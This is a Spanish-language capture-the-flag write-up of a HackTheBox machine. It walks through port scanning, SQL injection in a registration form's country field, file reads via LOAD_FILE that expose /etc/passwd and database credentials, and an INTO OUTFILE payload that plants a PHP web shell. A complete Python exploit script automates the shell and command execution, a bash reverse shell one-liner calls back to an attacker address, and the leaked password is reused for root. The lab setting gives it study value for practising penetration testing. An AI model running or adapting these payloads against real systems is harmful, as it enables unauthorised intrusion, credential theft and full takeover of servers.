Tags: #easy #SQLi #informationleakage #rce #linux #LFI #RFI
Platform: HackTheBox
Difficult: Easy
Creator: ippsec
Para comenzar, realizamos un escaneo de puertos en la máquina objetivo utilizando Nmap para identificar los servicios disponibles.
$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.11.116 -oG allPorts
Luego, ejecutamos un escaneo más detallado para identificar los servicios en los puertos abiertos.
$ nmap -Pn -sCV -p22,80,4566,8080 -n 10.10.11.116 -oN portScan
Al acceder al puerto 80, descubrimos un sistema de registro para un torneo.
Para entender mejor su funcionamiento, realizamos una prueba de registro y la interceptamos con BurpSuite.
El flujo de operaciones es el siguiente:
http://10.10.11.116/ incluyendo el nombre de usuario y un país./account.php, y establece una nueva cookie llamada user, que contiene un hash MD5 constante para todos los usuarios.Al considerar el funcionamiento interno de esta página, se presume que al registrarse, se guardan los datos en una base de datos. Cuando se accede al punto final account.php, el servidor web utiliza nuestra cookie user para determinar nuestra identidad, probablemente realizando una consulta SQL similar a esta:
SELECT username FROM users WHERE country = 'Argentina';
En este escenario, es posible intentar una inyección SQL básica para obtener todos los usuarios de todos los países. Para probar la inyección, agregué un usuario llamado chemaalonso de España, además de los usuarios test y zaikoarg de Argentina.
Request:
Response:
La respuesta confirma el éxito de la inyección y muestra una lista de todos los usuarios.
Para entender cómo funciona la inyección, analizamos la consulta SQL modificada que el servidor ejecuta en el backend:
SELECT user FROM users WHERE country = 'noexistant-country' OR 1=1-- -';
Vamos a analizar cada parte de la consulta inyectada:
'noexistant-country': Esto es simplemente un valor falso que no coincidirá con ningún país en la base de datos. Es solo un lugar para iniciar la inyección.OR 1=1: Esta es la parte importante de la inyección. La cláusula OR 1=1 siempre es verdadera, lo que significa que esta condición se cumplirá para todas las filas de la tabla users.-- -: Esto es un comentario en SQL que hace que el resto de la consulta original se ignore. El -- indica que todo lo que sigue en esa línea es un comentario y no se ejecuta como código SQL.Entonces, al juntar todo, la consulta modificada busca usuarios donde el país sea falso (que no exista) o donde 1=1 siempre sea verdadero, lo que devuelve todos los usuarios de la tabla users.
Exploramos la base de datos pero no encontramos información relevante.
Sin embargo, aprovechamos la capacidad de MySQL para leer archivos del sistema, utilizando la función LOAD_FILE().
Request:
Response:
La ejecución es exitosa, y al examinar el archivo /etc/passwd, notamos que solo el usuario root tiene una shell bash, sugiriendo que podríamos estar en un contenedor.
Continuamos explorando los archivos del sistema y encontramos el archivo /var/www/html/config.php
Contiene las credenciales de MySQL uhc:uhc-9qual-global-pw
Al notar que la función LOAD_FILE() estaba disponible, me surgió la idea de verificar si era posible escribir archivos a través de la inyección SQL utilizando INTO OUTFILE.
Como prueba inicial, intenté crear un archivo en la carpeta /tmp/ y luego leerlo utilizando LOAD_FILE().
Ahora que hemos logrado escribir archivos, podemos intentar ejecutar comandos utilizando una shell básica en PHP. En este caso, he creado un pequeño script en Python para simplificar todo el proceso:
import sys
import requests
import signal
from urllib.parse import quote
# Change the URL here
url = "http://10.10.11.116"
def handler(signal, frame) -> None:
print("\t\n[+] Exiting...")
sys.exit(1)
def validate_url(url: str) -> bool:
try:
response = requests.get(url)
return response.status_code == 200
except requests.RequestException:
return False
def create_shell(url: str) -> str:
data = {
"username": "testttt",
"country": """pwned' UNION SELECT '<?php echo \\'<pre>\\' . shell_exec($_GET["cmd"]) . \\'</pre>\\' ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"""
}
response = requests.post(url, data=data, allow_redirects=False)
session_cookie = response.headers.get("Set-Cookie", "").split("=")[1]
requests.get(url + '/account.php', cookies={"user": session_cookie})
return session_cookie
def execute(url: str, cookie: str, cmd: str) -> None:
shell_url = url + '/shell.php?cmd=' + quote(cmd)
response = requests.get(shell_url, cookies={"user": cookie})
try:
output = response.text.split("<pre>")[1].split("</pre>")[0]
print(output)
except IndexError:
print("[X] Error: Unable to execute command")
def main() -> None:
# CTRL-C Handling
signal.signal(signal.SIGINT, handler)
if len(sys.argv) != 2:
print("Usage: python3 exploit.py {CMD}")
sys.exit(1)
cmd = sys.argv[1]
if not validate_url(url):
print("[X] Error: Invalid URL or unable to connect")
sys.exit(1)
session_cookie = create_shell(url)
execute(url, session_cookie, cmd)
if __name__ == '__main__':
main()
$ python3 exploit.py whoami
Ahora que podemos ejecutar comandos de forma remota, vamos a obtener una shell interactiva.
$ python3 exploit.py "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'"
Si recordamos, habíamos encontrado algunas credenciales en los archivos de configuración del servidor web.
Podemos intentar utilizar esa contraseña para autenticarnos como root.
Lo tenemos !